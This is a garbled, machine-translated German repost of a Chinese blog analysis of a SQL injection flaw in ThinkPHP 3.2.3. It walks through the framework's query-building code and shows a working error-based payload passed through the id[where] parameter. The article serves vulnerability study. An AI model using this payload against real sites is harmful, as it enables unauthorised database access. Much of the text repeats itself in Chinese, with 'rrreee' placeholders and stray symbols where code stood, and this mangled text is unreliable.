Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen

WBOY
Freigeben: 2023-03-15 17:18:02
nach vorne
6515 Leute haben es durchsucht

Dieser Artikel vermittelt Ihnen relevantes Wissen über thinkphp. Er stellt hauptsächlich die damit verbundenen Probleme der thinkPHP3.2.3sql-Injection-Schwachstelle vor und umfasst auch die m-Methode, die d-Methode, die u-Methode und andere verwandte Inhalte . Hilfreich.

Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen

Empfohlenes Lernen: „PHP-Video-Tutorial

Vorwort

Rette den Feind:

  • Zusammenfassung gängiger Methoden in ThinkPHP: M-Methode, D-Methode, U-Methode , Ich verwende

  • Thinkphp3.2.3 Sicherheitsentwicklungsanweisungen

Gebäude:

  1. Der erste Schritt besteht darin, es im www-Verzeichnis abzulegen (ich verwende phpstudy für Windows)! ! ! !

  2. Erstellen Sie eine Datenbank. Der Tabellenname muss mit dem Namen übereinstimmen, den Sie als Nächstes verwenden möchten

  3. Konfigurationskontrollserver: WWWthinkphp3.2.3ApplicationHomeControllerIndexController.class.php

    <?phpnamespace  Home\Controller;use Think\Controller;class IndexController extends Controller {
        public function index(){
            $this->show('原来内容已经省略,太占地方');
    		$data = M('user')->find(I('GET.id'));
    		var_dump($data);
    	}}
    Nach dem Login kopieren
  4. test:

  5. Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechentext

Nutzlast:

?id[wobei]=1 und 1 = updatexml(1, concat(0x7e,user(),0x7e),1)%23

Es stimmt, dass die Fehlerinjektion erfolgreich war, und das alles aufgrund der Existenz dieses Codes: $data = M('user')-&gt ;find(I('GET.id'));

An den I- und M-Methoden ist nichts auszusetzen. Das eigentliche Problem liegt in der

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

确实报错注入成功,一切都是因为这句代码的存在:$data = M('user')->find(I('GET.id'));

I和M方法都没有什么问题,真正的问题在于

  1. find 方法上,来自/ThinkPHP/Mode/Lite/Model.class.php
 public function find($options=array()) {   
        // 根据复合主键查找记录
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是会进入这里
            // 根据复合主键查询
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 总是查找一条记录
        $options['limit']   =   1;
        // 分析表达式
        $options            =   $this->_parseOptions($options);//前面都没有什么影响,重点是这里的函数调用
     	$resultSet          =   $this->db->select($options);//重要的一步
Nach dem Login kopieren

2._parseOptions:因为主要针对options[where]所以无关代码我全删除了

/ThinkPHP/Library/Think/Model.class.php

protected function _parseOptions($options=array()) {
        if(is_array($options))
            $options =  array_merge($this->options,$options);
        // 字段类型验证
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//这里不满足is_array($options['where'])
            // 对数组查询条件进行字段类型检查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }
    //上面均没用,到现在开始有用:?
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options  =   array();
        // 表达式过滤
        $this->_options_filter($options);//这里值得注意
        return $options;
    }
Nach dem Login kopieren

3._options_filter

到这就无了

Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen

而且上面的操作也会清零 $options,所以这里可能是进错了

所以更正第二部的跟踪,改为

2.select:/ThinkPHP/Library/Think/Db/Driver.class.php

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
    }
Nach dem Login kopieren

3.buildSelectSql:地址同上

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根据页数计算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }
Nach dem Login kopieren

4.parseSql:地址同上

public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }
Nach dem Login kopieren

5.parseWhere:同上

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {//直接满足,直接进入
            // 直接使用字符串条件
            $whereStr = $where;
        }else{ // 使用数组表达式
        }
            return empty($whereStr)?'':' WHERE '.$whereStr;}
Nach dem Login kopieren

最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

然后

$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;
Nach dem Login kopieren

整个过程没有任何过滤,seay分析thinkPHP太飞费劲了

PHPstorm断点审计:

payload不变:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

还是跟踪find函数:

Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen

跟踪到这里步入一下,继续跟踪,跟踪到最后会跳出这个函数并且,值依然没有改变,同时步入下一个函数

Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen

经核实,步入到了另一个函数中:

Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen

继续跟踪buildSelectSql:

Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen

继续跟踪parseSql:

Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen

最后的代码变成了:

SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
find-Methode , aus /ThinkPHP/Mode/Lite/ Model.class.php

rrreee2._parseOptions: Da es sich hauptsächlich um Optionen[wo] handelt, habe ich den gesamten irrelevanten Code gelöscht

🎜🎜/ ThinkPHP/Library/Think/Model.class.php🎜🎜 rrreee🎜3.🎜_options_filter🎜🎜🎜Nicht mehr hier🎜🎜 Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen🎜🎜Und der obige Vorgang löscht auch $options, sodass hier möglicherweise ein falscher Eintrag vorliegt🎜🎜Korrigieren Sie also die Verfolgung des zweiten Teils auf 🎜🎜 🎜2.select:/ThinkPHP/Library/ Think/Db/Driver.class.php🎜🎜rrreee🎜🎜3.buildSelectSql: Die Adresse ist dieselbe wie oben🎜🎜rrreee🎜🎜4.parseSql: Die Adresse ist dieselbe wie oben🎜🎜rrreee🎜🎜5.parseWhere: Das Gleiche wie oben🎜🎜rrreee🎜Finally $sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23🎜🎜Then🎜rrreee 🎜Der gesamte Prozess ist ohne jegliche Filterung. Seay-Analysen denken, dass PHP zu mühsam ist ,user(),0x7e),1)%23🎜🎜Verfolgt immer noch die Suchfunktion: 🎜🎜Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen🎜🎜Hier folgen und eintreten, Tracking fortsetzen. Am Ende des Trackings springt diese Funktion heraus und der Wert bleibt unverändert. Gleichzeitig Schritt in die nächste Funktion🎜🎜Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen🎜🎜Nachher Nach der Überprüfung sind wir in eine andere Funktion getreten: 🎜🎜Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen 🎜🎜BuildSelectSql weiter verfolgen: 🎜🎜Lassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen 🎜 🎜Continue folgt ParseSQL: 🎜🎜 Alt = select * from user where 1 and 1 = updatexm L (1, Concat (0x7e, user ( ),0x7e),1)# LIMIT 1🎜 Es ist immer noch einfach zu debuggen und erfordert im Grunde nicht viel Gehirneinsatz🎜🎜Empfohlenes Lernen: „🎜PHP-Video-Tutorial🎜“🎜🎜

Das obige ist der detaillierte Inhalt vonLassen Sie uns über die SQL-Injection-Schwachstelle in thinkPHP3.2.3 sprechen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:csdn.net
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage